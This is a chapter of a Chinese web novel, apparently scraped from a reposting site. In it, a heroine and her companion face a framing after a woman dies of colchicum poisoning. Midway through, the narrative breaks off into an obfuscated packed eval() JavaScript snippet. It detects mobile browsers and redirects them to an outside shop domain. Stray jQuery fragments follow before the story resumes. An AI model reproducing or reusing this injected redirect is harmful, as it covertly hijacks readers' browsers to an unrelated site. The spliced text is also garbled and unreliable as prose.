文趣网 > 都市小说 > 你太呆了,我不喜欢 > 56. 反目
    冬日天短,未几便天色昏沉,檐角的冰棱垂下来,在微弱的天光里闪着冷冽的光。

    扶渊将一盆兰花放置案桌上,抬头看了一眼天,才发觉天色已晚,他朝着屋内喊道:“清浅,时候不早了,回家吧。”

    陈清浅洗净了手,说道:“好。”

    两人这才出店门,这时却远远看见邓应舟走过来。

    瞧着脸色肃然,不像是来闲聊的,陈清浅心里升起几丝不安,但还是迎上去,“应舟,你怎么来了?”

    邓应舟面上神色一肃,眉峰微蹙,眼底凝着几分沉郁,虽未言语,那隐在端严之下的担忧却分明可见,他看了一眼旁边的扶渊,又对陈清浅说:“清浅,出事了。”

    阿音死了,中毒而死。

    傍晚正是商铺收拾关门时候,但直至天色渐暗也没听到动静,出于担心之下,隔壁大娘走近了花店,喊了几声没人应答。

    往里走了走,却看见躺在里屋的人,伸手去探时,已然没有了气息。

    这才报了官,仵作来验,死于半个时辰之前,像极了急腹症,细查了发现,中的毒是秋水仙。

    花朵好看,全株有毒,俗称“美人毒”。

    凶手选择用植株下毒,比用粉末更具动手能力,像极了极懂草药的人。

    而有人看到,两个时辰之前,阿音来到了陈清浅的店铺,此时又在案桌上看到了秋水仙,所有指向不言而喻。

    当下,嫌疑最大的,就是扶渊。

    “她倒是挑了个我不在的时间来了,好来个死无对证。”陈清浅的确,没想到,她会行此一遭。

    解释不通的,便是弄不清楚她的目的,难道仅仅为了栽赃嫁祸,不惜付出性命?

    “这件事,的确有诸多不合理,但我会尽快查明原因。”邓应舟安慰她道,既而转头看向扶渊,“在真相尚未水落石出之前,就先委屈扶公子先待在县衙了。”

    “邓大人相信我?”

    “那是自然,我相信清浅的眼光。”他笑道,拍了拍扶渊肩膀以示慰藉。

    阿音是陈从商的人,此番再度回到凇城,又装作不认识“失忆”的自己,目的是什么?而白日,叶如川将自己支开,她趁这时候去找扶渊,这一切很难不让她联想,阿音与叶如川……

    联手?这突如其来且大胆的猜测把陈清浅自己吓一跳,不禁思绪纷乱如麻,心头莫名一紧,竟泛起几分慌意,指尖都微微发寒。

    正怔怔失神间,手上覆上一支手掌,一股沉稳温热的能量传过来,便似有一股无声的宽慰漫过心头,方才那阵惶乱,竟不知不觉淡了下去。

    “清浅,怎么了?唤你几声都没反应?”

    为了不让他担心,她摇摇头,但眼里难掩担忧,“在应舟查出真相之前,你且留在这里,别担心。”

    “担心的是你。”纵使县衙之外非议颇多,扶渊神色淡静如常,眼底无惊无惧,不见半分慌乱。“答应我,别一个人去涉险。”

    涉险做什么,他了解她,于是此刻要她的保证。

    陈清浅垂眸思虑一瞬,答应了。

    但一出县衙,她便一人去找叶如川,可来到客栈处,店家说,几个时辰之前,他已退房离去。

    叶如川的离去让陈清浅更加坚定了自己的猜测,可惜现在无人对证,想要帮扶渊平冤,难度还是大。

    就在陈清浅一筹莫展之际,邓应舟那边有了新的发现。

    秋水仙毒,竟与曾经茶馆里那说书人死因一致!

    这让邓应舟不由地提起了心,涉及两个极其相似的命案,他不容马虎,立即找来深谙百草毒性的老医工。

    “秋水仙全株有毒,可生花的毒性极散,若是仅触摸、闻嗅,绝无中毒可能;即便生吃花叶,需吞服大量才会致命,且毒性发作极慢,至少要一日夜才会气绝,断不会离了店铺不过一个时辰,便在家中毒发身亡。”

    老医工从仵作房取来的毒渣样本,放在白纸上:“死者胃里的,是用秋水仙根茎反复熬煮、浓缩而成的毒汁,泡入茶中饮用,毒性猛烈,半个时辰内便可致人暴毙。这等浓毒,需提前数日熬制,还要滤去杂质,绝非在这间空店铺里能仓促制成的。”

    “听闻那店铺刚租下,无灶无锅,无捣罐无滤布,连烧水的器具都没有,如何制毒?”一旁的邓应舟又补充道:“这盆秋水仙,凶手做足了准备,且看,根茎完整但枝叶有缺,折枝的伤口会变色、干枯、卷边,不同于新折断的,鲜绿、汁水足、断面湿润发白。”

    陈清浅心头一震,明白了:“意味着……阿音中的毒就是来自于这珠秋水仙,而枝叶的残缺亦是嫁祸的一环。”

    “对,现有这些证据能证明,扶公子是清白的。”邓应舟对陈清浅说,想起了另外一件事,他又问道,“如川……他不在凇城了?”

    看到陈清浅点头,邓应舟面上露出难色,身为一州知府,查过的案子甚多,接触的人也各式各样,旁人在他面前撒谎都会被看透拆穿,如今,当嫌疑人变成了多年朋友,这让他很难接受,“我不明白……”

    “不,应舟,你明白。”

    是的,在之前陈清浅请他去帮忙试探叶如川来凇城的目的时,那时候他便明白,叶如川来凇城的目的,并不是为了挽回陈清浅,而叶如川的到来,也将会给三个人的关系带来翻天覆地想变化。

    纵使,他仍不知道叶如川的真实目的。

    “我想你同我一样,现在怀疑叶如川与陈从商合谋,阿音的死,不知是自愿还是被害,都是栽赃陷害的一环,但无论怎样,涉及人命,需得查明才是。”

    陈清浅说完,见远处走近的王杏蕊,也察觉身后靠近的扶渊,她又继续坚定地说:“应舟,别再顾念旧情,派人将如川找回来,而且我怀疑,陈从商也来到了凇城。”

    语罢,陈清浅朝王杏蕊颔首行礼,便同扶渊一起走了。

    王杏蕊走到邓应舟身后,将手轻轻抚了抚他背,什么也没说,倒像是无声的支持。

    陈清浅与扶渊一同回陈府,一路无话。

    直到府门合上,她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17890324|212709||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    才听到后面传来的话,“你就……没有什么想跟我说的吗?”

    陈清浅微微偏首,眸中浮起不解,“你想听我说什么?”

    “你与叶如川,邓应舟之间的故事,陈从商又是谁?”

    “我记得我说过。”

    “那是一嘴带过,我想仔细听听,毕竟不惜以一条人命来陷害我的,我还是很好奇,他们对我有多大仇怨。”

    明白他只是想了解并无醋意,陈清浅笑笑,朝他伸手:“不是对你有怨,而是对我。”

    陈清浅将所有事情来龙去脉全然告知,当自己复述完一遍之后,她自己也陷入了一瞬间的感慨。

    “陈从商的目的,想来也是为了百年松木,但我没想到,他会与叶如川私交,但我不明白,叶如川的真实目的。”

    叶如川家中也算富裕,书也能读得好,努力些来年中个状元也算是光耀门楣,因此他这一遭,才是让陈清浅和邓应舟不理解的地方。

    “也许,真是为了挽留你呢?”

    听到这话,陈清浅笑笑并不相信,“我觉得不是。”

    “为何如此笃定?”

    “他并没有喜欢我到这种地步。”

    扶渊自后拥着她,下颌轻抵在她发顶,气息清浅,带着几分自身的清寒,却又被怀中暖意烘得柔和。

    “别难过。”他声音低低的,裹着夜色,落在她耳侧。

    “我并未因此难过。”她未回头,只轻轻靠在他怀中,感受着他稳稳的心跳,一下一下,踏实安稳。

    腰间的手臂收得更紧了些,一个无声的吻落在她发间。

    近日都没有下雪,窗外月色疏淡,屋内烛火轻晃,连风都是缓缓而过。

    陈清浅还没等到邓应舟把叶如川找到,陈从商却先一步现身了。

    他先将县衙府前的鼓敲响,然后怡然自得、大摇大摆地走进县衙,丝毫没有一丝慌乱。

    “邓大人,别来无恙。”陈从商朝堂上主位行了礼,又瞥了一眼旁边的陈清浅和扶渊,笑容意味深长。

    “陈公子,你从杊州到此,又来县衙击鼓鸣冤,所为何事?”

    陈从商突然来了劲,他指着扶渊说:“我要告发那乡野小子,他害死了我的心上人!”

    “集市里那家花店的店主,阿音?”

    “正是,我昨夜才到凇城,本想去花店里找她,却被告知,人已丧命,尸首都还停在义庄,我听闻,她便是死于中毒!定是他害的!”

    “陈从商!不可休得胡言!”陈清浅出口斥骂道,“是非真相早已向外界道明,此事与扶渊无关,他与阿音无仇无怨,若你执意咬定是他,你倒是说明一二缘由。”

    “你就这么护着一介外人?”陈从商脸色骤变,又羞又恼,眼底戾气翻涌。

    陈清浅不惧,依旧从容不迫:“阿音与你相好?那是许久之前的事了吧?她来凇城,是为了帮你找到百年松木吧?”

    陈从商没有否认,他嗤笑一声,眉眼冷了下去,“我就知道,你是装失忆的!”